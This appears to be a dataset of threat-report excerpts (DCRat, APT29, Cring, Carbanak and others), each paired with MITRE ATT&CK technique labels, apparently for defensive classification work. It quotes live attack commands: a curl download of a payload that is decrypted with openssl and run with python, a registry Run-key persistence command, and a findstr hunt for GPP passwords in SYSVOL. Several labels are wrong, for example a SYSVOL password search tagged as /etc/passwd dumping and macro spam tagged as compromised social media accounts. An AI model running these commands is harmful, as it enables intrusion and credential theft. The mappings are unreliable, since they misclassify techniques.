Threat description: Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment.
MITRE ATT&CK techniques:
- T1550.004: Use Alternate Authentication Material - Web Session Cookie
Threat description: In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours.
MITRE ATT&CK techniques:
- T1583.003: Acquire Infrastructure - Virtual Private Server
Threat description: Figure 7 shows how DCRat collects the public IP address from the compromised host by accessing the IP web service named as “https[:]//ipinfo[.]io/json”.
MITRE ATT&CK techniques:
- T1590.005: Gather Victim Network Information - IP Addresses
Threat description: DCRat will also drop a .bat file containing a script that runs the W32tm “stripchart” command on the compromised host. This command is used as a delay tactic for its execution and beaconing.
MITRE ATT&CK techniques:
- T1124: System Time Discovery
Threat description: The following analytic detects a powershell script that enumerates the camera mounted to the targeted host.
MITRE ATT&CK techniques:
- T1592.001: Gather Victim Host Information - Hardware
Threat description: We detect the attachment file as W97M/Adnel or MHT/Dloader. This macro malware is usually attached in the spam emails as .doc files. It uses social engineering tricks to be able to run the malicious macro script that is disabled by default in Microsoft Office.
MITRE ATT&CK techniques:
- T1586.001: Compromise Accounts - Social Media Accounts
Threat description: APT32 is widely known to use such social engineering techniques to trick a user into enabling macros, after which a file downloads multiple malicious payloads from remote servers.
MITRE ATT&CK techniques:
- T1586.001: Compromise Accounts - Social Media Accounts
Threat description: We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.
MITRE ATT&CK techniques:
- T1218.004: System Binary Proxy Execution - InstallUtil
Threat description: Prior to executing BOOMMIC APT29 was observed creating persistence via a registry key for “Java Update” that would execute jucheck.exe from the directory that contained version.dll and the BOOMMIC payload. Figure 19: BOOMMIC Persistence reg  add HKCU\software\Microsoft\Windows\CurrentVersion\Run" /v "Java Update" /t REG_SZ /d "c:\users\<redacted>\appdata\local\Java\jucheck.exe""
MITRE ATT&CK techniques:
- T1112: Modify Registry
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. Passwords stored in this way are encrypted using a known scheme that can easily be decrypted. APT29 GPP password datamining C:\WINDOWS\system32\cmd.exe /C findstr /S /I cpassword \\DOMAIN\sysvol\DOMAIN\policies\*.xml
MITRE ATT&CK techniques:
- T1003.008: OS Credential Dumping - /etc/passwd and /etc/shadow
Threat description: Attackers modified the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file.
MITRE ATT&CK techniques:
- T1553: Subvert Trust Controls
Threat description: A threat actor can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features, which rely on MOTW tagging – for example, ‘Protected View’ in Microsoft Office. This zero-day has a moderate CVSS risk score of 5.4, because it only helps to avoid the Microsoft Defender SmartScreen defense mechanism, which has no RCE or DoS functionality.
MITRE ATT&CK techniques:
- T1553.005: Subvert Trust Controls - Mark-of-the-Web Bypass
Threat description: The app executes the following shell command to download a custom-compiled version of the EggShell server for macOS: nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py The first part of the command downloads an encoded file from a Github page belonging to a user named youarenick" and saves that file to a hidden file named .info.enc in /private/tmp/. Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script."
MITRE ATT&CK techniques:
- T1553.001: Subvert Trust Controls - Gatekeeper Bypass
Threat description: The loaded assembly, obfuscated with an Agile.NET obfuscator, hollows a legitimate MSBuild.exe process and replaces it with its payload: the hex-encoded Panda Stealer binary from another paste.ee URL.
MITRE ATT&CK techniques:
- T1055.012: Process Injection - Process Hollowing
Threat description: Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.
MITRE ATT&CK techniques:
- T1562.001: Impair Defenses - Disable or Modify Tools
- T1112: Modify Registry
- T1070.004: Indicator Removal - File Deletion
Threat description: BAT files were used to download and execute the Cring ransomware on the other systems in the compromised network. It also uses the Windows CertUtil program to help with the said download.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: The ransomware can also get into the system through certain vulnerability exploits.. The abuse of the aforementioned Adobe ColdFusion flaw (CVE-2010-2861) to enter the system is a new development for the threat. In the past, Cring was also used to exploit a FortiGate VPN server vulnerability (CVE-2018-13379).
MITRE ATT&CK techniques:
- T1210: Exploitation of Remote Services
- T1499.004: Endpoint Denial of Service - Application or System Exploitation
- T1587.004: Develop Capabilities - Exploits
- T1588.005: Obtain Capabilities - Exploits
- T1190: Exploit Public-Facing Application
- T1588.006: Obtain Capabilities - Vulnerabilities
- T1203: Exploitation for Client Execution
Threat description: Lateral movement was done through Cobalt Strike. This tool was also used to distribute BAT files that will be used later for various purposes, including impairing the system’s defenses.
MITRE ATT&CK techniques:
- T1570: Lateral Tool Transfer
- T1562: Impair Defenses
- T1588.002: Obtain Capabilities - Tool